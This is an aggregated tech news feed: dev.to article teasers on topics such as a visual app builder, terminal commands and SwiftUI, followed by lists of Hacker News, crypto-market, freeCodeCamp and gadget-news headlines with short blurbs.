    Unlocking Sustainable AI Innovation: Monetize Your AI Conversations with Monetzly In a world where AI applications are multiplying at an astonishing rate, developers face a common challenge: how to monetize these innovations without disrupting user experience. What if there was a way to not only monetize your app but also earn revenue by hosting relevant ads? Welcome to Monetzly—the Google Ads for AI Conversations! Monetzly is designed to create a win-win-win scenario for developers, advertisers, and users. By establishing a three-sided marketplace, we connect developers who build AI-powered applications, advertisers seeking engaged audiences, and users who benefit from a more personalized experience. This unique approach ensures that everyone involved can thrive. One of the standout fea…  ( 7 min )
    Webfoundry gets GPT 5.1 Codex HTML generation through voice assistant
    App URL: https://webfoundry.app/ (no account creation necessary) So this is my visual app builder Webfoundry, I used it to create a handful web apps including MEATEOR, the P2P Grindr alternative I posted about here: https://dev.to/guiprav2/a-completely-p2p-grindr-alternative-i-built-in-a-weekend-no-servers-no-accounts-webrtc-trystero-8dp This demo shows how the voice assistant is able to call GPT 5.1 Codex to generate beautiful HTML elements for your page on-demand based on voice specs. Other than that, Webfoundry has the following features: Fully Tailwind CSS-based design. WYSIWYG allows you to edit the actual HTML DOM visually; there's no vDOM and so it plays nicely with vanilla JS libraries, even jQuery, etc. Total JavaScript control with simple state management much unlike the horrors of React and others. Fully P2P realtime live collaboration both in the visual editor and the built-in code text editor. 2-click Netlify deployments right from the app. A few of bugs I've been procrastinating on fixing lately... Soon: Export app as a Windows/Linux desktop or Android Tauri application. It's hard to use at first but the learning curve is honestly not that steep, I'm willing to demo and handhold anyone interested in trying this out over a video call! Cheers! Gui  ( 6 min )
    While We're Measuring Developer Productivity, Won't Someone Think of the Data Engineers?
    Nicole Forsgren just dropped a new book, and I absolutely CONSUMED it. It's called Frictionless: seven steps to help engineering teams move faster in the age of AI. Forsgren created DORA. She created SPACE. She wrote Accelerate, the book that fundamentally changed how we measure engineering performance. When Forsgren talks about engineering velocity, you listen. And, I hope I'm not oversimplifying, but my biggest take away is that "Most productivity metrics are systematically misleading." Lines of code? Blown away by AI. Deployment frequency? Useful for assessing pipeline health, but disconnected from whether your team is building the right things. Her three pillars of developer experience: And this resonates with me deeply. But I keep returning to one question. Where are the data engineer…  ( 11 min )
    10 Terminal Power Moves That Make Your Teammates Say “Wait, HOW Did You Do That?”
    Even in the age of powerful IDEs, developers still live in the terminal. After a few years, everyone collects a bag of tricks—some painful lessons, some tiny optimizations—that quietly 2x your speed. This article skips the ls -la basics and goes straight to battle-tested commands and habits that genuinely changed my workflow (and made nearby teammates lean over and say: “You did what with just one command?”). When your server or laptop suddenly feels like it’s running in molasses, you need quick visibility: who’s hogging disk, CPU, or RAM? Top 10 space hogs in the current directory (one level deep) du -ah --max-depth=1 | sort -rh | head -n 10 Top 10 processes by CPU usage ps aux --sort=-%cpu | head -n 11 Top 10 processes by memory usage ps aux --sort=-%mem | head -n 11 This trio gives …  ( 10 min )
    Puzzle solving "agentic loop"
    Hey all, Yesterday I had an idea: You know how LLM completions work, right? You pass in the model name, an array of messages, and optionally a list of tools and make a fetch request. So I thought, what if I put that in a loop where every tool call could return a completely new configuration for the request? It works like this. Note there are two configurations: xai and oai. xai is instructed to play dumb and try to answer 42, oai is instructed to write haikus. xai is only promoted to oai once it gets the right answer. import complete from './complete.js'; let tap = x => (console.log(x), x); async function looptools(init) { while (true) { let res = await complete(init.logs, { ...init, logs: undefined }); let tools = [...Object.entries(res.tools || {})]; if (tools.length && t…  ( 7 min )
    **Unlocking Elite Performance: The 7 Principles of Inner Excellence**
    Unlocking Elite Performance: The 7 Principles of Inner Excellence In the high-pressure world of sports and beyond, mental toughness is the key to unlocking elite performance. For decades, coaches and athletes have sought the secret to staying calm under fire, mastering pressure, and achieving greatness. Enter Jim Murphy, a top performance coach who has spent years studying the minds of champions and developing a proven system for achieving inner excellence. Murphy's groundbreaking book, Inner Excellence, shot to the top of the New York Times bestseller list overnight when star athlete A.J. Brown was caught reading it on the sidelines of a NFL playoff game. This unexpected endorsement sparked a global phenomenon, with athletes, business leaders, and individuals from all walks of life seek…  ( 8 min )
    GitHub
    At a high level, GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code. To understand exactly what GitHub is, you need to know two connected principles: Version control What Is Version Control? At this point, WordPress is a pretty big project. If a core developer wanted to work on one specific part of the WordPress codebase, it wouldn’t be safe or efficient to have them directly edit the “official” source code. Instead, version control lets developers safely work through branching and merging. With branching, a developer duplicates part of the source code (called the repository). The developer can then safely make changes to that part of the code without affecting the rest of the project. Then, once…  ( 12 min )
    Learn Array Chunking in Go: A Comprehensive Algorithm Approach
    Throughout my career, I've encountered array chunking in everything from pagination systems to batch processing jobs. What seems simple at first glance hides tricky edge cases that can silently corrupt your data—like out-of-bounds errors or inconsistent chunk sizes. Today, I'm going to show you my battle-tested algorithm for chunking arrays in Go—one that handles all those edge cases cleanly. Write a function that takes an array and a chunk size as input. The function should return a new array where the original array is split into chunk of the specific size. I like to start by breaking down the problem into three parts: input, process, and expected output. This way, I can identify the steps to go from A (the input) to B (the output). Input: The array to be split and an integer that indica…  ( 8 min )
    MAWA - A language as simple as Python but as powerful as Assembler, modern ASM but much simpler
    MAWA - A programming language as simple in syntax as Python but as impressive as Assembler, it could be called Modern Assembler. Although I have talked about MAWA before, I haven't gone into much detail. In this post, I will discuss it and explain a MAWA command, how it works, and what it does. For those who did not read the first MAWA post, you can read it at this link: https://dev.to/samuel_leonardo_37aff38b4/mawa-el-lenguaje-de-programacion-del-futuro-2bjh My name is Samuel Leonardo Páez Garzón, I am Colombian, and I am 13.1 years old. MAWA is a language that is simpler than others, not only in terms of syntax, but also in terms of compilation, being similar to NASM with Assembler. An example of this is the C or C++ language in low-level mode, which uses a compiler to convert .c or .cpp…  ( 13 min )
    How to Build a Floating Bottom Sheet in SwiftUI (Drag, Snap, Blur)
    Floating bottom sheets are one of the cleanest modern UI patterns in iOS. You see them in: Apple Maps Apple Music Stocks Reminders Shortcuts …and almost every modern iOS app. In this tutorial, we’ll build a smooth, draggable, snapping, blur-backed bottom sheet using pure SwiftUI. No UIKit. No hacks. No gesture bugs. Just clean 2026-style SwiftUI. A bottom sheet that: floats above your content has a blur background drags smoothly with your finger snaps to three positions (min / mid / full) has a soft spring animation supports scrollable content inside Perfect for dashboards, media players, maps, tools, or any modern app section. We track: @State private var offset: CGFloat = 0 @State private var lastDrag: CGFloat = 0 Then we: Apply a DragGesture() Calculate the drag dist…  ( 7 min )
  • Open

    The Generative Burrito Test
    Comments  ( 3 min )
    LLVM Adds Constant-Time Support for Protecting Cryptographic Code
    Comments
    Notes on the Troubleshooting and Repair of Computer and Video Monitors
    Comments  ( 387 min )
    Reinventing how .NET builds and ships (again)
    Comments  ( 56 min )
    A DOOM vector engine for rendering in KiCad, and over an audio jack
    Comments  ( 2 min )
    What They Don't Tell You About Maintaining an Open Source Project
    Comments
    3 things to know about Ironwood, our latest TPU
    Comments  ( 13 min )
    Someone at YouTube Needs Glasses: The Prophecy Has Been Fulfilled
    Comments  ( 1 min )
    Google steers Americans looking for health care into "junk insurance"
    Comments  ( 11 min )
    ZoomInfo CEO Blocks Researcher After Documenting Pre-Consent Biometric Tracking
    Comments  ( 19 min )
    ICE Offers Up to $280M to Immigrant-Tracking 'Bounty Hunter' Firms
    Comments  ( 97 min )
    How to repurpose your old phone's GPS modem into a web server
    Comments  ( 3 min )
    A New Bridge Links the Math of Infinity to Computer Science
    Comments  ( 15 min )
    The Bughouse Effect
    Comments  ( 31 min )
    Unison 1.0 Release
    Comments  ( 12 min )
    IQ differences of identical twins reared apart are influenced by education
    Comments
    Show HN: Secure private diffchecker with merge support
    Comments  ( 5 min )
    Bad UX World Cup 2025
    Comments  ( 10 min )
    Google Antigravity Exfiltrates Data
    Comments  ( 40 min )
    Show HN: We built an open source, zero webhooks payment processor
    Comments  ( 16 min )
    It is ok to say "CSS variables" instead of "custom properties"
    Comments  ( 2 min )
    Ilya Sutskever: We're moving from the age of scaling to the age of research
    Comments  ( 93 min )
    US banks scramble to assess data theft after hackers breach financial tech firm
    Comments  ( 9 min )
    Unifying our mobile and desktop domains
    Comments  ( 9 min )
    Python is not a great language for data science
    Comments  ( 25 min )
    Ozempic does not slow Alzheimer's, study finds
    Comments  ( 4 min )
    Choosing a hash function for 2030 and beyond: SHA-2 vs. SHA-3 vs. BLAKE3
    Comments  ( 12 min )
    Orion 1.0 – Browse Beyond
    Comments  ( 9 min )
    Roblox is a problem – but it's a symptom of something worse
    Comments  ( 13 min )
    Brand New Layouts with CSS Subgrid
    Comments  ( 46 min )
    FLUX.2: Frontier Visual Intelligence
    Comments  ( 20 min )
    Launch HN: Onyx (YC W24) – The open-source chat UI
    Comments  ( 4 min )
    Apt Rust requirement raises questions
    Comments  ( 35 min )
    Brain has five 'eras' with adult mode not starting until early 30s
    Comments  ( 16 min )
    Constant-time support coming to LLVM: Protecting cryptographic code
    Comments  ( 5 min )
    Trillions Spent and Big Software Projects Are Still Failing
    Comments  ( 45 min )
    Making Crash Bandicoot (2011)
    Comments  ( 9 min )
    What you can get for the price of a Netflix subscription
    Comments  ( 3 min )
    Most Stable Raspberry Pi? 81% Better NTP with Thermal Management
    Comments  ( 13 min )
    Human brains are preconfigured with instructions for understanding the world
    Comments  ( 13 min )
    Jakarta is now the biggest city in the world
    Comments
    Why I (Still) Love Linux ?
    Comments  ( 9 min )
    Windows GUI – Good, Bad and Pretty Ugly (2023)
    Comments  ( 12 min )
    How I talk to whales
    Comments
  • Open

    Texas Buys $5M in BTC ETF as States Edge Toward First Government Crypto Reserves
    The effort is starting small, but Texas made an opening foray into a state-based crypto reserve — getting closer to the first government stockpile in the U.S.
    Stellar Rallies 2.3% Breaking Key Resistance on Volume Surge
    Stellar breaks through critical $0.2460 level as institutional flows drive measured accumulation above seven-day averages.
    U.S. Crypto Regulator, CFTC, Seeking Names for New 'CEO Innovation Council'
    Acting Chairman Caroline Pham said the group will help usher in a new era of market structure, including a focus on digital assets.
    Filecoin Spikes 9% as Downtrend Breaks
    The strong price action occurred on below-average volume.
    U.S Bank Tests Custom Stablecoin Issuance on Stellar Network
    The nation's fifth-largest commercial bank explores how a bank can issue stablecoins on a public blockchain.
    TON Pulls Back After Ecosystem-Driven Rally as Traders Eye Key Support Near $1.50
    The token's price action points to fading buyer interest, with initial strong trading activity giving way to a sharp decline in participation.
    Oct. 7 Hamas Attack Victims Sue Binance for Damages
    Binance allegedly facilitated the transfer of over $1 billion to sanctioned entities including Hamas and Iran's Revolutionary Guard Corps, a lawsuit said.
    ICP Clears Key Technical Barrier as Breakout Volume Confirms Upward Momentum
    Internet Computer climbed through the crucial $4.20 resistance level on elevated volume before late-session consolidation narrowed gains.
    BONK Breaks Through Overhead Resistance as Volume Jumps 85% Above Average
    Increased trading volume carried BONK through a major resistance threshold before late pullbacks shaped a new support band.
    Why Bitcoin Is Underperforming Equities Despite Bullish Catalysts
    Gains in AI-fueled stocks and heavy crypto leverage have widened the gap between bitcoin and equities.
    Polymarket Secures CFTC Approval for Regulated U.S. Return
    Polymarket’s amended CFTC designation paves the way for the prediction-market platform to formally reopen in the U.S. with a fully regulated exchange structure.
    Anchorage Digital Aims to Pay 'Rewards' on Ethena's Tokens Under GENIUS Act
    The U.S. stablecoin law prohibits paying interest on stablecoins, but Anchorage aims to offer a template to distribute yield-like rewards to token holders to stay compliant.
    MoonPay Secures New York Trust Charter, Expands Institutional Crypto Services
    The crypto payments firm joins an elite group with both a BitLicense and Trust Charter, gaining legal authority to custody assets and offer OTC trading under NYDFS oversight.
    Paxos Acquires Crypto Wallet Startup Fordefi to Expand Custody Services
    The move aims to position Paxos to serve growing institutional demand for on-chain asset issuance and stablecoin payments.
    Polkadot Slides 4% as Technical Resistance Triggers Selloff
    The altcoin carved out a $0.21 trading range, marking 9% intraday volatility as bearish forces gained control.
    Upbit Considering Appeal of $25M Fine by South Korea Regulator
    The country's largest crypto exchange said the Financial Intelligence Unit has been wrong in the past and had actions overturned in court.
    SGX’s Bitcoin and Ethereum Perpetual Futures Debut Strong with $35 Million Volume
    Trading volumes reached nearly 2,000 lots traded on day one, representing about $35 million in notional value.
    Swedish Buy Now, Pay Later Giant Klarna Rolling Out Stablecoin with Stripe's Bridge
    Digital bank Klarna's stablecoin, issued by Stripe’s Bridge on top of the upcoming Tempo blockchain, is set to debut next year.
    CoinDesk 20 Performance Update: Index Drops 2% as All Constituents Trade Lower
    Bitcoin Cash (BCH) fell 6.3% and Polkadot (DOT) dropped 5.8%, leading the index lower from Monday.
    The Coming Bitcoin Treasury Bubble
    Today’s uncertain macroeconomic climate has created an environment where corporate leaders are desperate to look innovative – Bitcoin treasuries give them a way to do that, without fixing their broken business models, says Tony Yazbeck, co-founder of The Bitcoin Way.
    Exodus’ W3C Deal Adds Stability as Firm Builds Full Payments Stack: Benchmark
    The acquisition pushes the crypto-wallet maker toward a more fintech-style business model.
    Taurus Expands Institutional Footprint With Super Validator Role on Canton Network
    The digital-asset infrastructure provider will help secure and govern the Canton Network while expanding custody services for institutions.
    Aptos' APT Underperforms Wider Crypto Markets
    Price consolidation continues near key support as volume activity remains elevated above weekly averages.
    Still Jittery: Crypto Daybook Americas
    Your day-ahead look for Nov. 25, 2025
    U.S. Hours Account for Nearly All of Bitcoin’s November Losses
    BTC drifts or stabilizes during Asia trading hours, softens slightly during the European handover and then absorbs most of its losses once U.S. equity markets open.
    Crypto Markets Today: Bitcoin Leads Rebound, Altcoins Rally During Longer-Term Downturn
    Bitcoin recaptured $87,000 on Tuesday as improving risk appetite and a strong equities session helped lift major altcoins.
    Metaplanet Draws $130M for Further Bitcoin Acquisitions Under Credit Facility
    The Japanese company executed new borrowing as part of its expanding bitcoin focused funding strategy.
    Bitcoin Faces $13.3B Monthly Options Expiry as BTC Trades Well Below Max Pain
    A sharp drawdown has pushed BTC towards heavy put positioning at $80,000 ahead of Friday’s expiry.
    Bitcoin Faces Short Squeeze Risk Above $87K as Funding Rates Hint Local Bottom
    Derivatives metrics show rising bearish positioning followed by a sharp reduction in open interest, while price recovery hints at early squeeze dynamics.
    Private Equity Firm Bridgepoint to Buy Majority of Crypto Audit Specialist ht.digital
    Bridgepoint did not disclose the financial terms of the deal. Sky News cited a figure of 200 million pounds ($262 million).
    Monad’s Debut Shows Why FDV Forecasts Broke as Bitcoin Fell
    Monad’s listing illustrates how low-float launches can anchor valuation even when macro conditions point in the opposite direction, leaving traders mispricing outcomes that hinge more on supply than on sentiment.
    Japan’s FSA to Mandate Liability Reserves for Crypto Exchanges to Enhance Security: Report
    Japan's Financial Services Agency is set to require digital asset exchanges to maintain liability reserves to protect users.
    KuCoin Registers With Austrac to Operate in Australia, Adds Fiat On-Ramps
    The registration comes as Australian regulators tighten scrutiny on offshore crypto platforms, with ASIC stating that many digital assets may require licensing to operate.
    DOGE Pops 5% as ETF Debut Sparks First Clear Reversal Signal in Weeks
    ETF analysts characterized the launch as another major inflection point for memecoin legitimacy, with early volume estimates near $11 million.
    XRP Surges 7% in Strongest Breakout in Weeks as Ripple Linked ETFs Go Live
    Technical indicators suggest a bullish trend, with XRP testing a major descending channel that could lead to further gains.
    The $1.7B Bitcoin Bet on Rally Above $100K, But Not Reaching New Record Highs
    The strategy bets on a measured rally into the year-end, rather than a record-breaking surge.
    Asia Morning Briefing: BTC Steadies as Polymarket Traders Lean Toward December Rate Cut
    Rising odds of a Fed pivot helped calm crypto markets, while QCP and Glassnode point to a reset in leverage, fading sell pressure, and early signs of a bottoming structure as traders hedge both downside and late-year upside.
  • Open

    freeCodeCamp's Top Open Source Contributors of 2025
    2025 has been a super productive year for the global freeCodeCamp community. As we start our 12th year as a community, we’re firing on all cylinders, pushing forward more steadily than ever. This year we made substantial improvements to the new Full ...  ( 8 min )
    How to Build a Secure Authentication System with JWT and Refresh Tokens
    Every app that handles user accounts needs a way to confirm who’s who. That’s what authentication is for, making sure the person using an app is the person they claim to be. But doing this securely is harder than it sounds. Traditional methods often ...  ( 15 min )
    Learn CSS Flexbox for Beginners [Free 2-hour course]
    Flexbox is a powerful CSS feature that lets you build user interfaces that fit any screen size. freeCodeCamp just published a Flexbox for beginners course where you'll learn the concepts and code syntax by building your own website navigation bar. If...  ( 4 min )
    How to Deploy Your Own Cockroach DB Instance on Kubernetes [Full Book for Devs]
    Developers are smart, wonderful people, and they’re some of the most logical thinkers you’ll ever meet. But we’re pretty terrible at naming things 😂 Like, what in the world – out of every other possible name, they decided to name a database after a ...  ( 87 min )
    How to Use Vibe Coding Effectively as a Dev
    It may seem like everyone is a vibe coder these days, and prompting seemed like it would become the new coding. But is this AI-generated code really deployable? Bragging on social media about a clever script is one thing, but pushing a vibe coded app...  ( 12 min )
    How Closures Work in JavaScript: A Handbook for Developers
    If you're learning JavaScript, you've probably heard the term "closure" at some point. In many developers' experience, just hearing this word can trigger anxiety. In nearly 17 years of programming experience, I've noticed that closures are one of the...  ( 38 min )
  • Open

    What enterprises should know about The White House's new AI 'Manhattan Project' the Genesis Mission
    President Donald Trump’s new “Genesis Mission” unveiled Monday is billed as a generational leap in how the United States does science akin to the Manhattan Project that created the atomic bomb during World War II. The executive order directs the Department of Energy (DOE) to build a “closed-loop AI experimentation platform” that links the country’s 17 national laboratories, federal supercomputers, and decades of government scientific data into “one cooperative system for research.” The White House fact sheet casts the initiative as a way to “transform how scientific research is conducted” and “accelerate the speed of scientific discovery,” with priorities spanning biotechnology, critical materials, nuclear fission and fusion, quantum information science, and semiconductors. DOE’s own re…
    OpenAI now lets enterprises choose where to host their data
    OpenAI expanded its data residency regions for ChatGPT and its API, giving enterprise users the option to store and process their data closest to their business operations and better comply with local regulations. This expansion removes one of the biggest compliance blockers preventing global enterprises from deploying ChatGPT at scale. Data residency, often an overlooked piece of the enterprise AI puzzle, processes and governs data according to the laws and customs of the countries where it is stored.  ChatGPT Enterprise and Edu subscribers can now choose to have their data processed in:  Europe (European Economic Area and Switzerland) United Kingdom United States Canada Japan South Korea Singapore India Australia United Arab Emirates OpenAI said in a blog post that it “plans t…
  • Open

    IQOO 15 Gets 9 December Launch Date In Malaysia
    Earlier in the month, IQOO said that it was bringing the self-named IQOO 15 onto our shores, but fell short of providing a specific date for the event. Until now. The vivo sub-brand has officially confirmed that the phone will launch on 9 December. As a quick primer, the phone is equipped with a Snapdragon […] The post IQOO 15 Gets 9 December Launch Date In Malaysia appeared first on Lowyat.NET.  ( 33 min )
    This New Pair Of Crocs Is Themed After The Xbox
    Apparently, Microsoft is not quite done with Crocs. Following the launch of Windows XP-themed slip-ons last month, the tech conglomerate has partnered with the footwear company to release a new pair of foam clogs. This time, the shoes have an Xbox theme to commemorate the 20th anniversary of the Xbox 360. As you would imagine, […] The post This New Pair Of Crocs Is Themed After The Xbox appeared first on Lowyat.NET.  ( 33 min )
    Google Pixel 10 Pro Fold Review: The Foldable With The Tensor
    The Google Pixel 10 Pro Fold has been out and about for some time now, and unlike the search engine’s first foldable, this year’s model is also out and about in Malaysia. But unlike its rivals that made their debut a lot earlier in the year, the company has certainly taken their sweet time with […] The post Google Pixel 10 Pro Fold Review: The Foldable With The Tensor appeared first on Lowyat.NET.  ( 50 min )
    Huawei Mate X7 Debuts In China With 8-Inch Inner Display, 50MP Cameras
    Huawei has unveiled the Mate X7 as its latest foldable smartphone in China, succeeding the Mate X6. Compared to its predecessor, the new handset comes with slightly bigger screens, among other improvements. Starting off with the display, the Mate X7 sports an 8-inch LTPO OLED inner display with a 2,416 × 2,210 pixel resolution. Meanwhile, […] The post Huawei Mate X7 Debuts In China With 8-Inch Inner Display, 50MP Cameras appeared first on Lowyat.NET.  ( 34 min )
    ShopeePay Introduces SPayLater Motorcycle, Offering Shariah-Compliant Bike Financing
    ShopeePay is expanding its SPayLater offering with a new financing option aimed squarely at Malaysians looking to buy a motorcycle. Simply known as SPayLater Motorcycle, the service takes the platform’s existing Shariah-compliant installment model and extends it to vehicle purchases, giving users a fully digital and more accessible alternative to traditional bank loans. Through this […] The post ShopeePay Introduces SPayLater Motorcycle, Offering Shariah-Compliant Bike Financing appeared first on Lowyat.NET.  ( 34 min )
    Next Generation Range Rover Evoque To Be Full-On EV
    The third-generation Range Rover Evoque is set to arrive as a fully electric vehicle built on the Jaguar Land Rover Electrified Modular Architecture (EMA). An electric Evoque was first proposed in JLR’s ambitious Reimagine strategy in 2021. However, the new EV isn’t expected to debut until at least the end of 2027, with customer deliveries […] The post Next Generation Range Rover Evoque To Be Full-On EV appeared first on Lowyat.NET.  ( 34 min )
    China’s AUDI Unveils E SUV Concept At Guangzhou Auto Show
    The SAIC-Audi joint venture brand, AUDI, recently unveiled its E SUV Concept at the Guangzhou Auto Show. According to the automaker, the concept is a preview of the brand’s second model, the AUDI E8 SUV. AUDI, styled in capital letters and without the iconic four-ring logo, is currently a China-only brand and launched in November […] The post China’s AUDI Unveils E SUV Concept At Guangzhou Auto Show appeared first on Lowyat.NET.  ( 35 min )
    JBL Grip Now Available In Malaysia; Retails For RM599
    The JBL Grip is now officially available in Malaysia. Designed for the outdoors, the ultra portable speaker is designed to produce powerful sound while weathering the elements and hard knocks, literally. “The new JBL Grip is your music’s new co-pilot. It is built like a tank, seriously: waterproof, dustproof, and drop-proof (it will survive concrete). […] The post JBL Grip Now Available In Malaysia; Retails For RM599 appeared first on Lowyat.NET.  ( 33 min )
    Genesis Unveils GV60 Magma; Its First High-Performance EV
    Hyundai’s luxury brand Genesis recently unveiled its first production high-performance model, the GV60 Magma, at the brand’s global Magma world premiere. Alongside the fully electric (EV) crossover SUV, Genesis also showcased the Magma GT Concept, hinting at the future direction of its performance sub-brand. Since the GV60 Magma is based on the standard GV60 EV, […] The post Genesis Unveils GV60 Magma; Its First High-Performance EV appeared first on Lowyat.NET.  ( 35 min )
    Government Mulls Mandatory Floor Price For Courier Services
    The government is studying a proposal to introduce a mandatory floor price for courier services, revealed Communications Minister Datuk Fahmi Fadzil via a written reply in Parliament today. He said the idea is still being evaluated through a cost audit and a review of the industry’s pricing structure to ensure any minimum rate would support […] The post Government Mulls Mandatory Floor Price For Courier Services appeared first on Lowyat.NET.  ( 34 min )
    OnePlus 15R, Pad Go 2, And Watch Lite Officially Unveiled
    It looks like OnePlus is still not done with 2025 yet, as it had just recently revealed three more devices that are coming soon. Slated to launch in select markets next month is the OnePlus 15R, the Pad Go 2, and the Watch Lite. The OnePlus 15R is a new entry to the brand’s current […] The post OnePlus 15R, Pad Go 2, And Watch Lite Officially Unveiled appeared first on Lowyat.NET.  ( 34 min )
    HONOR 500 Series Launches In China
    The HONOR 500 lineup has officially debuted in the brand’s home market. Featuring a base model and a Pro variant, the two new smartphones get a whole new look compared to their predecessors. This is thanks to the redesigned camera module, which seems to take inspiration from a certain American phone maker. Both handsets measure […] The post HONOR 500 Series Launches In China appeared first on Lowyat.NET.  ( 35 min )
    Solo Bitcoin Miner Scores Block Worth US$270,000
    A solo Bitcoin miner recently scored a one-in-180 million chance when they got a chance to solve a pretty hefty block. And hefty it was, as their mining efforts netted them a reward of US$270,000 (~RM1.12 million). At the time of writing, the value of a single Bitcoin is currently rated at RM362,944, their earning […] The post Solo Bitcoin Miner Scores Block Worth US$270,000 appeared first on Lowyat.NET.  ( 33 min )
  • Open

    The Download: the future of AlphaFold, and chatbot privacy concerns
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. What’s next for AlphaFold: A conversation with a Google DeepMind Nobel laureate In 2017, fresh off a PhD on theoretical chemistry, John Jumper heard rumors that Google DeepMind had moved on from game-playing…  ( 22 min )
    Aligning VMware migration with business continuity
    For decades, business continuity planning meant preparing for anomalous events like hurricanes, floods, tornadoes, or regional power outages. In anticipation of these rare disasters, IT teams built playbooks, ran annual tests, crossed their fingers, and hoped they’d never have to use them. In recent years, an even more persistent threat has emerged. Cyber incidents, particularly…  ( 17 min )

  • Open

    Why synthetic emerald-green pigments degrade over time
    Comments  ( 9 min )
    1,700-year-old Roman sarcophagus is unearthed in Budapest
    Comments  ( 39 min )
    DoGE "cut muscle, not fat"; 26K experts rehired after brutal cuts
    Comments  ( 11 min )
    Willis Whitfield: A simple man with a simple solution that changed the world
    Comments  ( 6 min )
    Atuin’s New Runbook Execution Engine
    Comments  ( 6 min )
    AI has a deep understanding of how this code works
    Comments  ( 26 min )
    Interactive λ-Reduction
    Comments
    Implementing Bluetooth LE Audio and Auracast on Linux Systems
    Comments  ( 7 min )
    PRC elites voice AI-skepticism
    Comments  ( 11 min )
    PS5 now costs less than 64GB of DDR5 memory. RAM jumps to $600 due to shortage
    Comments  ( 108 min )
    Unpowered SSDs slowly lose data
    Comments  ( 19 min )
    Claude Advanced Tool Use
    Comments  ( 22 min )
    Claude Opus 4.5
    Comments  ( 18 min )
    Pebble Watch software is now 100% open source
    Comments  ( 8 min )
    Google's new 'Aluminium OS' project brings Android to PC
    Comments  ( 12 min )
    GrapheneOS migrates server infrastructure from France
    Comments  ( 3 min )
    Is Your Android TV Streaming Box Part of a Botnet?
    Comments  ( 11 min )
    Analog Hoverboard Controller
    Comments  ( 10 min )
    Launch HN: Karumi (YC F25) – Personalized, agentic product demos
    Comments  ( 26 min )
    Launch HN: Karumi (YC F25) – Personalized, agentic product demos
    Comments
    The Bitter Lesson of LLM Extensions
    Comments  ( 12 min )
    TSMC Arizona Outage Saw Fab Halt, Apple Wafers Scrapped
    Comments  ( 10 min )
    Mind-reading devices can now predict preconscious thoughts: is it time to worry?
    Comments  ( 15 min )
    Installing Java in 2025, and Version Managers
    Comments  ( 5 min )
    Show HN: I built an interactive HN Simulator
    Comments
    Cool-retro-term: terminal emulator which mimics look and feel of the old CRTs
    Comments  ( 5 min )
    Andrej Karpathy on X: implications of AI to schools
    Comments  ( 3 min )
    Ask HN: Scheduling stateful nodes when MMAP makes memory accounting a lie
    Comments  ( 3 min )
    Corvus Robotics (YC S18): Hiring Head of Mfg/Ops, Next Door to YC Mountain View
    Comments  ( 1 min )
    France threatens GrapheneOS with arrests / server seizure for refusing backdoors
    Comments
    Britain is one of the richest countries. So why do children live in poverty?
    Comments
    A New Raspberry Pi Imager
    Comments
    France threatens GrapheneOS with arrests / server seizure for refusing backdoors
    Comments
    Maxduino Review: Tape Cassette Emulator for Multiple Retro Computers
    Comments  ( 13 min )
    X Just Accidentally Exposed a Covert Influence Network Targeting Americans
    Comments
    SHA1-Hulud the Second Comming – Postman, Zapier, PostHog All Compromised via NPM
    Comments  ( 14 min )
    Booking.com cancels $4K hotel reservation, offers same rooms again for $17K
    Comments  ( 17 min )
    Show HN: Yolodex – real-time customer enrichment API
    Comments  ( 2 min )
    Show HN: Cynthia – Reliably play MIDI music files – MIT / Portable / Windows
    Comments  ( 38 min )
    Fast Lua runtime written in Rust
    Comments  ( 1 min )
    Generating Cats with KPN Filtering
    Comments  ( 2 min )
    Trade Chaos Causes Businesses to Rethink Their Relationship with the U.S.
    Comments
    Technical Deflation
    Comments  ( 5 min )
    Move Expressions
    Comments  ( 4 min )
    Bureau of Meteorology asked to examine $96.5M bill for website redesign
    Comments  ( 11 min )
    Open (Apache 2.0) TTS model for streaming conversational audio in realtime
    Comments  ( 8 min )
    Chrome Jpegxl Issue Reopened
    Comments  ( 10 min )
    NSA and IETF, part 3: Dodging the issues at hand
    Comments  ( 22 min )
    Essence and accident in language model-assisted coding
    Comments
    I put a real search engine into a Lambda, so you only pay when you search
    Comments
    OS Malevich – how we made a system that embodies the idea of simplicity (2017)
    Comments  ( 6 min )
    Shai-Hulud Returns: Over 300 NPM Packages Infected
    Comments
    General principles for the use of AI at CERN
    Comments  ( 4 min )
    AltSendme: Another Alternative to MAgic Wormhole?
    Comments  ( 10 min )
    A fast EDN (Extensible Data Notation) reader written in C11 with SIMD boost
    Comments  ( 88 min )
    Fifty Shades of OOP
    Comments  ( 13 min )
    Ruby Was Ready from the Start
    Comments
    Quake Engine Indicators
    Comments  ( 3 min )
    Build a Compiler in Five Projects
    Comments  ( 8 min )
    Show HN: Syd – An offline-first, AI-augmented workstation for blue teams
    Comments  ( 2 min )
    A One-Minute ADHD Test
    Comments
    The Arithmetic of Braids (2022)
    Comments  ( 20 min )
    Git 3.0 will use main as the default branch
    Comments  ( 2 min )
    What OpenAI did when ChatGPT users lost touch with reality
    Comments
    The Feds Want to Make It Illegal to Even Possess an Anarchist Zine
    Comments  ( 11 min )
    Lambda Calculus – Animated Beta Reduction of Lambda Diagrams
    Comments
    Build desktop applications using Go and Web Technologies
    Comments  ( 10 min )
    Insurers retreat from AI cover as risk of multibillion-dollar claims mounts
    Comments  ( 6 min )
    Efficient solar cooking that stores heat in sand
    Comments
    How Does Microwaving Grapes Create Plumes of Plasma?
    Comments  ( 11 min )
    RuBee
    Comments  ( 14 min )
    Japan's gamble to turn island of Hokkaido into global chip hub
    Comments  ( 25 min )
    The Cloudflare outage was a good thing
    Comments  ( 4 min )
    A free tool that stuns LLMs with thousands of invisible Unicode characters
    Comments  ( 3 min )
    McMaster Carr – The Smartest Website You Haven't Heard Of
    Comments  ( 39 min )
    We stopped roadmap work for a week and fixed 189 bugs
    Comments  ( 7 min )
    B-Trees: Why Every Database Uses Them
    Comments
    Ask HN: Hearing aid wearers, what's hot?
    Comments  ( 1 min )
    Passing the Torch – My Last Root DNSSEC KSK Ceremony as Crypto Officer 4
    Comments  ( 5 min )
    My Life Is a Lie: How a Broken Benchmark Broke America
    Comments  ( 31 min )
    A Unified Theory of Ego, Empathy, and Humility at Work
    Comments  ( 9 min )
    Practical Security in Production
    Comments
    A ncurses-based command line torrent client for high performance
    Comments  ( 7 min )
    'Invisible' microplastics spread in skies as global pollutant
    Comments  ( 8 min )
    Doge 'doesn't exist' with eight months left on its charter
    Comments
  • Open

    Devs Who Get Hired First Do One Thing Differently
